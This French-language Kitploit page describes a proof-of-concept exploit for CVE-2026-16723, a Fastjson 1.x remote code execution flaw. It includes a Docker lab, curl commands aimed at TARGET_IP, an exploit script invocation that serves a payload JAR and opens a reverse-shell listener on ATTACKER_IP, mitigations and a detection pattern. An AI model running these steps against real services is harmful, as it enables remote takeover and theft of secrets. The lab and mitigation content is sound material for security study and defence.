Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-16723 — Proof-of-concept d'exploit pour CVE-2026-16723, une vulnérabilité d'exécution de code à distance via @JSONType dans Fastjson 1.x, avec un générateur de JAR de payload et un listener de reverse shell. | Kitploit
Outils/GitHubGitHub/yym8538/cve-2026-16723
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubyym8538/cve-2026-16723

CVE-2026-16723

Proof-of-concept d'exploit pour CVE-2026-16723, une vulnérabilité d'exécution de code à distance via @JSONType dans Fastjson 1.x, avec un générateur de JAR de payload et un listener de reverse shell.

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★


Vue d'ensemble

CVE-2026-16723 est une vulnérabilité d'exécution de code à distance (RCE) dans Fastjson 1.x (1.2.68 – 1.2.83). Lorsque Fastjson analyse du JSON contrôlé par l'attaquant, une valeur @type forgée est transformée en une recherche de ressource de classe dans checkAutoType. Dans un fat-JAR exécutable Spring Boot, le chargeur de classes résout ce nom comme une URL jar:http:// et récupère un JAR distant (SSRF), puis charge une classe portant l'annotation @JSONType alors même qu'AutoType est désactivé. Comme un JDK / Tomcat moderne rejette le nom binaire jar:http://, la variante fiable injecte le JAR dans le cache de la JVM et le relit via jar:file:/proc/self/fd/N, de sorte que la classe est définie et que son initialiseur statique s'exécute, permettant l'exécution de code. AutoType reste désactivé et aucun gadget du classpath n'est nécessaire.


Versions affectées

CatégorieVersion
VulnérableFastjson 1.2.68 ≤ version ≤ 1.2.83
CorrigéeMigrer vers Fastjson 2.x (aucune version 1.x corrigée)

Impact

  • Exécution de code à distance sous le compte de service
  • Divulgation de secrets / identifiants depuis l'hôte et l'environnement
  • Compromission totale de l'application affectée

Environnement

La cible du lab est une vitrine publique (Northwind Store) dont l'API de recherche lie son corps de requête avec Fastjson. Tout est en configuration par défaut de Fastjson : SafeMode désactivé, AutoType désactivé, empaqueté en fat-JAR Spring Boot.

docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
PrérequisÉtat dans ce lab
Fastjson 1.2.68 – 1.2.831.2.83
Fat-JAR exécutable Spring Bootoui
Chemin d'analyse JSON non authentifiéPOST /api/products/search
SafeMode / AutoTypepar défaut (les deux désactivés)

PoC

L'attaquant et la cible s'exécutent sur le même réseau bridge Docker, donc la cible joint l'attaquant via une connexion sortante (aucun port supplémentaire n'est publié).

Étape 1. Vérifier que la cible est active

curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

Étape 2. Lancer l'exploit sur la machine attaquante

exploit.py construit le JAR de payload, le sert, démarre un listener et affiche le corps de la requête. Seule l'adresse de callback est requise.

python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

Étape 3. Livrer le payload

Collez le corps affiché dans le endpoint de recherche (Burp Repeater ou curl) et envoyez-le. La requête de recherche est une fonctionnalité normale ; seul son corps JSON est forgé.

curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

Étape 4. Confirmer le résultat

Le code s'exécute sous le compte de service. Récupérez le flag via le shell obtenu :

whoami

Atténuation

  • Migrer vers Fastjson 2.x
  • Ou exécuter com.alibaba:fastjson:1.2.83_noneautotype
  • Ou démarrer la JVM avec -Dfastjson.parser.safeMode=true
  • Détection : valeurs JSON @type contenant les motifs jar:http ou jar:file / /proc/self/fd

Analyse

  • KR:
  • EN:
Télécharger l’outil